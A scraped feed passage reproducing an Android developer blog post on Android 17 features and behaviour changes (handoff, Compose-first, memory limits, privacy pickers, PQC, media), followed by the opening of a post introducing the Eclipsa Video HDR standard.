<p>Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s1920/Continue%20On.png"><img border="0" data-original-height="1200" data-original-width="1920" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s16000/Continue%20On.png"></a><i>Handoff Suggestion on a Tablet</i></div><p><br></p>

<pre><code>class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}</code></pre>

<h2>Go adaptive-first with Jetpack Compose</h2>
<p>To help you adapt your apps to meet the new Android 17 requirements, we've launched the <a href="https://github.com/android/skills/tree/main/jetpack-compose/adaptive">Jetpack Compose adaptive skill</a>. This AI-powered developer workflow helps you implement the best adaptive practices:</p>
<ul>
    <li><strong>Adaptive navigation:</strong> Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.</li>
    <li><strong>Multi-pane layouts:</strong> Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.</li>
    <li><strong>FlexBox &amp; Grid APIs:</strong> Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.</li>
    <li><strong>Advanced non-touch input:</strong> Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.</li>
    <li><strong>Dynamic window states:</strong> Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.</li>
</ul>

<h2>Android is Compose-first</h2>
<p>Compose offers the easiest way to build adaptive apps, and that's just one of the <a href="https://developer.android.com/develop/ui/compose/first#why-compose-first">many reasons</a> we believe that all Android UI should be built with Compose. To that end, <a href="https://developer.android.com/develop/ui/compose/first">Android development is now Compose-first</a>. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.</p>

<blockquote>
    <p><strong>TIP</strong><br>
    Ready to migrate? Use our AI-driven <a href="https://developer.android.com/develop/ui/compose/migrate/migrate-xml-views-to-jetpack-compose">XML to Compose Migration Skill</a> to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.</p>
</blockquote>

<h3>Performance &amp; efficiency</h3>
<p>App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.</p>

<h2>App memory limits</h2>
<p>Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. </p>

<p>Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:</p>
<ul>
    <li><strong>R8 Optimizer:</strong> The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer">R8 configuration analyzer</a> to make sure your app is getting the most from R8.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s2048/R8%20Configuration%20Analyzer.png"><img border="0" data-original-height="397" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s16000/R8%20Configuration%20Analyzer.png"></a></div></li></ul><div><span><u><br></u></span></div><div><span><u><br></u></span></div><div><br></div><div><br></div><div>The R8 Configuration Analyzer</div><ul><li><strong>LeakCanary in Android Studio Panda:</strong> The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.</li>
    <li><strong>ApplicationExitInfo:</strong> If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".</li>
    <li><strong>On-Device Anomaly Detection:</strong> Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.</li>
</ul>

<pre><code>val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList&lt;ProfilingTrigger&gt;().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)</code></pre>

<p>And, we're working to surface more in-field memory metrics to you within Google Play Console.</p>

<h2>Generational garbage collection</h2>
<p><a href="https://developer.android.com/about/versions">Android 17</a> introduces more frequent, less resource-intensive young-generation collections to <a href="https://developer.android.com/guide/platform#art">ART</a>'s Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.</p>

<h2>Lock-Free MessageQueue</h2>
<p>For apps targeting SDK 37 or higher, the core <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>android.os.MessageQueue</b></a> now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> fields and methods.  The <a href="https://developer.android.com/reference/android/os/TestLooperManager#peekWhen()"><b>peekWhen</b></a> and <b><a href="https://developer.android.com/reference/android/os/TestLooperManager#poll()">poll</a> </b>APIs have been added to <a href="https://developer.android.com/reference/android/os/TestLooperManager"><b>TestLooperManager</b></a> for instrumentation testing without relying on <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> internals.</p>

<h2>Static final fields now truly final</h2>
<p>Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s <b><code>SetStatic&lt;Type&gt;Field</code></b> methods family will immediately crash the application.</p>

<h2>Custom notification view restrictions</h2>
<p>To reduce memory usage we are further restricting the size of <a href="https://developer.android.com/develop/ui/views/notifications/custom-notification">custom notification views</a>. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.</p>

<h3>Privacy &amp; Security</h3>
<p>Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.</p>

<h2>Privacy-preserving choices</h2>
<p>Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:</p>
<ul>
  <li><strong>System-Level Contact Picker:</strong> Utilizing <code>ACTION_PICK_CONTACTS</code>, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad <code>READ_CONTACTS</code> permission. It also fully supports work/personal profile separation.</li>
    <li><strong>Customizable Photo Picker aspect ratio:</strong> Using<b><code>PhotoPickerUiCustomizationParams</code></b>, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.</li>
    <li><strong>System-rendered Location Button:</strong> A new system-rendered location button that you can embed in your app grants precise location access for the current session only.</li>
    <li><strong>EyeDropper API:</strong> A new system-level API, <code>ACTION_OPEN_EYE_DROPPER</code>, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.</li>
</ul>

<pre><code>val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result -&gt;
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}</code></pre>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/s1267/Eyedropper%20Tester.webp"><img border="0" data-original-height="713" data-original-width="1267" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/w640-h360/Eyedropper%20Tester.webp" width="640"></a></div><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><span><span face="Arial, sans-serif"><i>Picking a color from anywhere on the screen with the system EyeDropper</i></span></span></h3><h2>Local network access</h2>
<p>Apps targeting Android 17 now either require the <code><a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network">ACCESS_LOCAL_NETWORK</a></code> runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because <code>ACCESS_LOCAL_NETWORK</code>  falls under the existing <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permission group, users who have already granted other <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permissions will not be prompted again. </p>

<h2>SMS OTP protection</h2>
<p>Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:</p>
<ul>
  <li>WebOTP Format: <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">Delayed for all apps that are not the intended recipient (domain mismatch)</a>.</li>
  <li>Standard SMS OTP: <a href="https://developer.android.com/about/versions/17/behavior-changes-17#sms-otp-protection">Delayed for all apps targeting SDK 37+</a>.</li>
  <li>Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the <a href="https://developer.android.com/identity/sms-retriever">SMS Retriever</a> or <a href="https://developers.google.com/identity/sms-retriever/user-consent/overview">SMS User Consent APIs</a>.</li>
</ul>

<h2>Post-Quantum Cryptography (PQC)</h2>
<p>Android 17 is ready for the next generation of cryptographic security:</p>
<ul>
  <li>Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.</li>
  <li>Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.</li>
</ul>

<h2>Safer native dynamic code loading </h2>
If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14</a> for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

<h2>Smarter password protection for physical inputs</h2>
<p>With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.</p>
<p>Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).</p>
<p>These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields. </p>

<h3><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s798/Hide%20First%20Letter.gif"><img border="0" data-original-height="449" data-original-width="798" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s16000/Hide%20First%20Letter.gif"></a></div></h3><h3><br></h3><h3><br></h3><h3><br></h3><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><i><div><i>Smarter password protection for physical inputs</i></div></i><div><br></div><h2>Media and camera features that empower creators and delight users
</h2><p>Android 17 introduces new <a href="https://blog.google/products-and-platforms/platforms/android/android-17-creator-features/">creator features</a> that give access to pro-quality cameras and media, all while improving the experience for consumers.</p>

<ul>
  <li><a href="https://developer.android.com/media/platform/integrate-eclipsa-video">Eclipsa Video</a>: HDR video standard built upon the <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a> that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.</li>
  <li>RAW14 image format: New support for the <a href="https://developer.android.com/reference/kotlin/android/graphics/ImageFormat#raw14">RAW14 image format</a> provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.</li>
  <li>Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.</li>
  <li>Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.</li>
  <li><a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">Versatile Video Coding (H.266)</a>:  Enables OEMs to add codec support by defining the <a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">video/vvc</a> MIME type in <a href="https://developer.android.com/reference/android/media/MediaFormat"><code>MediaFormat</code></a>, adding new VVC profiles in <a href="https://developer.android.com/reference/android/media/MediaCodecInfo"><code>MediaCodecInfo</code></a>, and integrating support into <a href="https://developer.android.com/reference/android/media/MediaExtractor"><code>MediaExtractor</code></a>.</li>
  <li>Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.</li>
  <li>Constant Quality for Video Recording: <a href="https://developer.android.com/reference/android/media/MediaRecorder#setVideoEncodingQuality(int)"><code>SetVideoEncodingQuality</code></a> in <a href="https://developer.android.com/reference/android/media/MediaRecorder"><code>MediaRecorder</code></a> configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.</li>
</ul>

<h2>Better support for hearing aids</h2>
<ul>
  <li>Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new <a href="https://developer.android.com/reference/android/media/AudioDeviceInfo#TYPE_BLE_HEARING_AID"><code>AudioDeviceInfo.TYPE_BLE_HEARING_AID</code></a> constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.</li>
  <li>Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.</li>
</ul>

<h2>CameraX and  Media3</h2>
<p><a href="https://developer.android.com/jetpack/androidx/releases/camerax">CameraX</a> and <a href="https://developer.android.com/jetpack/androidx/releases/media3">Media3</a> have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture,  smooth media playback, and creative and complex editing experiences. </p>

<p>We've released an <a href="https://github.com/android/skills/tree/main/camera">agent skill</a> that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</p>
  
<p>Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.</p>

<h3>Get your apps, libraries, tools, and game engines ready!</h3>
<p>If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.</p>

<p>Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps <a href="https://developer.android.com/about/versions/17/behavior-changes-all">running on</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-17">targeting</a> Android 17 to focus your testing, including the following:</p>
<ul>
  <li>Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints <a href="https://developer.android.com/about/versions/17/changes/ff-restrictions-ignored">on large screens</a>.</li>
  <li>Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14 </a>for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.</li>
  <li>Enable CT by default: <a href="https://developer.android.com/privacy-and-security/security-config#CertificateTransparencySummary">Certificate transparency (CT)</a> is enabled by default. (On Android 16, CT is available but apps had to <a href="https://developer.android.com/privacy-and-security/security-config#certificateTransparency">opt in</a>.)</li>
  <li>Local network protections: Apps targeting SDK 37 or higher have <a href="https://developer.android.com/privacy-and-security/local-network-permission#android-17-enforcement">local network access blocked by default</a>. Switch to using privacy preserving pickers if possible, and use the new <a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network"><b><code>ACCESS_LOCAL_NETWORK</code></b>permission for broad, persistent access.</a></li>
  <li>Background audio hardening: Starting in Android 17, the audio framework enforces <a href="https://developer.android.com/about/versions/17/changes/bg-audio">restrictions on background audio interactions</a> including audio playback, <a href="https://developer.android.com/media/optimize/audio-focus">audio focus</a> requests, and <a href="https://developer.android.com/reference/android/media/AudioManager#adjustStreamVolume(int,%20int,%20int)">volume change</a> APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the <a href="https://developer.android.com/about/versions/17/changes/bg-audio">updated guidance</a>.</li>
  <li>NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare <a href="https://developer.android.com/reference/kotlin/android/content/pm/PackageManager#feature_neural_processing_unit">FEATURE_NEURAL_PROCESSING_UNIT</a> in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the <a href="https://ai.google.dev/edge/litert/next/npu">LiteRT NPU delegate</a>, vendor-specific SDKs, as well as the deprecated <a href="https://developer.android.com/ndk/guides/neuralnetworks">NNAPI</a>.</li>
</ul>

<h3>Get started with Android 17</h3>
<p>Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can <a href="https://developer.android.com/about/versions/17/get#on_emulator">use the 64-bit system images with the Android Emulator</a> in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.</p>
<h3>Getting the Android 17 beta on partner devices</h3>
<p>Android 17 is available in beta on handset, tablet, and foldable form factors <a href="https://developer.android.com/about/versions/17/devices">from partners</a> including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s1653/android-17-beta-partners.jpg"><img border="0" data-original-height="624" data-original-width="1653" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s16000/android-17-beta-partners.jpg"></a></div><br><h3><br></h3>

<p>For the best development experience with Android 17, we recommend that you use the latest Canary build of <a href="https://developer.android.com/studio/preview">Android Studio Quail</a>. Once you’re set up, here are some of the things you should do:</p>
<p>Test your current app for compatibility, learn whether your app is <a href="https://developer.android.com/about/versions/17/behavior-changes-all">affected by changes in Android 17</a>, and install your app onto a device or <a href="https://developer.android.com/studio/run/emulator">Android Emulator</a> running Android 17 and extensively test it.</p>

<p>Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.</p>
<p>For complete information on Android 17 please visit the <a href="https://developer.android.com/about/versions/17">Android 17 developer site</a>.</p><br><br>]]></content:encoded>
</item>
<item>
<title><![CDATA[Eclipsa Video: HDR That Looks Right on Every Screen]]></title>
<description><![CDATA[Posted by Tibian Elsheikh, Product Manager, Android Core Graphics and Jeffrey Jose, Product Manager, Android Core Graphics
We’ve all been there: You’re scrolling through your favorite social media feed in a dim room, and suddenly an HDR video pops up. It’s so intensely bright that you have to squ...]]></description>
<link>https://tsecurity.de/de/3693501/android-tipps/eclipsa-video-hdr-that-looks-right-on-every-screen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693501/android-tipps/eclipsa-video-hdr-that-looks-right-on-every-screen/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:30 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGg9E8BsBcgigJ3Pwhp0Wbd85wffhQKw9jT9eW4_IJHtJsxtaqBqZoWIc4agLIZu9h2eWFEnMgipcv2PnMM2UC9tsZOJp3AMjsOX1KQRoisg5IKTRS20hFOIvJmlViYFz-QOh3-KdyFRIgUaiKs2ehjrJBd9W_yW13aP4xgRQovNCEAviajCLWFTTVrjs/s2469/Eclipsa%20Video%20V01%20White_Meta.png"><div><i>Posted by Tibian Elsheikh, Product Manager, Android Core Graphics and Jeffrey Jose, Product Manager, Android Core Graphics</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0slfG8CUVGmPiAUHIXkeIVZGveJMOvf1TorUdONiRYV1THM80OzIIjGV5-bOboEhNz7FB4sTYx72ySEjFhQ4oW97-sLZ4scOX2Sb5BBU9qPMvOXvq2XRj098K7ElBnvy4k68jKELpDZ7vd4NIs2Hud2w14re18dOx7dksdFXRBR_Nd8yOiBrw8cLr_kM/s8583/Eclipsa%20Video%20V02_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0slfG8CUVGmPiAUHIXkeIVZGveJMOvf1TorUdONiRYV1THM80OzIIjGV5-bOboEhNz7FB4sTYx72ySEjFhQ4oW97-sLZ4scOX2Sb5BBU9qPMvOXvq2XRj098K7ElBnvy4k68jKELpDZ7vd4NIs2Hud2w14re18dOx7dksdFXRBR_Nd8yOiBrw8cLr_kM/s1600/Eclipsa%20Video%20V02_Blog.png"></a></div><br><p><br></p>
<p>We’ve all been there: You’re scrolling through your favorite social media feed in a dim room, and suddenly an HDR video pops up. It’s so intensely bright that you have to squint, or maybe you find yourself turning down your screen brightness just to read the caption. Other times, a video that looks vibrant on your phone looks flat, dark, or washed out when you watch it on your living room TV. </p><p>While High Dynamic Range (HDR) technology was designed to make videos look richer and more lifelike, the lack of unified industry guidelines means that the exact same clip can render in unexpected and jarring ways depending on the display you’re using.</p>

<p>To solve this, we’re introducing Eclipsa Video—a new standard built to make your favorite videos look consistent, balanced, and comfortable on every screen. Eclipsa Video builds on the open <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a>, which Google developed in collaboration with Apple and NBCUniversal.</p><br><p></p><i><div><i><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLDY0gLjHQYTZZfRzikfPu8P3jZkXhq6Wqo1GFj3CvBh9YaboIDUstPcnV94Qan8nVkXXBlXLm5vSktLM_q9DJIIn_jyeW9LyZchI5Fpm6AD7A5XD3ZRslzBFhJLAvRj589ukW0etBNCg7004SjySw_SYsGkg6dQ8AtgfofOZeFTx8R3H7xWfwAuA-Rqc/s1066/Eclipsa_9-16_Transparent%20(2).gif"><img border="0" data-original-height="1066" data-original-width="600" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLDY0gLjHQYTZZfRzikfPu8P3jZkXhq6Wqo1GFj3CvBh9YaboIDUstPcnV94Qan8nVkXXBlXLm5vSktLM_q9DJIIn_jyeW9LyZchI5Fpm6AD7A5XD3ZRslzBFhJLAvRj589ukW0etBNCg7004SjySw_SYsGkg6dQ8AtgfofOZeFTx8R3H7xWfwAuA-Rqc/w225-h400/Eclipsa_9-16_Transparent%20(2).gif" width="225"></a></div>Sudden brightness spikes during feed scrolling—fixed with Eclipsa Video.</i></div></i><p></p>

<h3><strong><span>More consistency, comfort, and creative control</span></strong></h3>Eclipsa Video moves past individual display guesswork. Instead of leaving it up to your device to interpret a video’s brightness on its own, our format carries precise guidelines that tell compatible displays exactly how to render the image. <br><p>Designed to scale with your hardware, Eclipsa Video provides three core benefits:</p>

<ul>
    <li><strong>A consistent baseline:</strong> Eclipsa Video introduces a shared rulebook for screens. It establishes a consistent benchmark for normal brightness—known as the <b>HDR reference white</b>. This ensures standard text, app interfaces, and standard-range colors remain vibrant and readable without causing uncomfortable screen glare.</li>
    <li><strong>Adaptive headroom:</strong> Screens have different physical brightness limits, or "headroom." Eclipsa Video guides how displays handle highlights dynamically. Bright details remain brilliant on a premium television, while being scaled intelligently on a mobile screen to prevent sudden blinding transitions.</li>
    <li><strong>Preserved creative intent:</strong> Rather than applying a single static setting to an entire video, Eclipsa Video carries adaptive, frame-by-frame instructions. Think of it as a set of digital notes from the creator traveling with the video, ensuring the exact colors, contrast, and mood they graded are preserved on your display.</li></ul>

<div class="separator"><img border="0" data-original-height="1080" data-original-width="2200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirgS5TsogRUxWbypUiFlWIRuL8nQhdagvc7UHVFjoDG00SjqSrMniKFEys-EzgcrHKi6Am5BrtALEs7px1oaaJ5ciaO7hP0_49i8RuD7uCckjW7jYWrSoFkDlob6dJhL42MPLiBQqAjaPMOMJDEjZjDgvVe0P28fw13RlMNSiMEAlx5XFXCr8o6L8SRo0/s1600/Eclpsa%20Blog%20post%20image-AlphaB.png"><br><div><i>Eclipsa Video preserves true highlight detail on any screen you watch.</i></div></div><h3><strong><span>Built natively into Android 17</span></strong></h3>

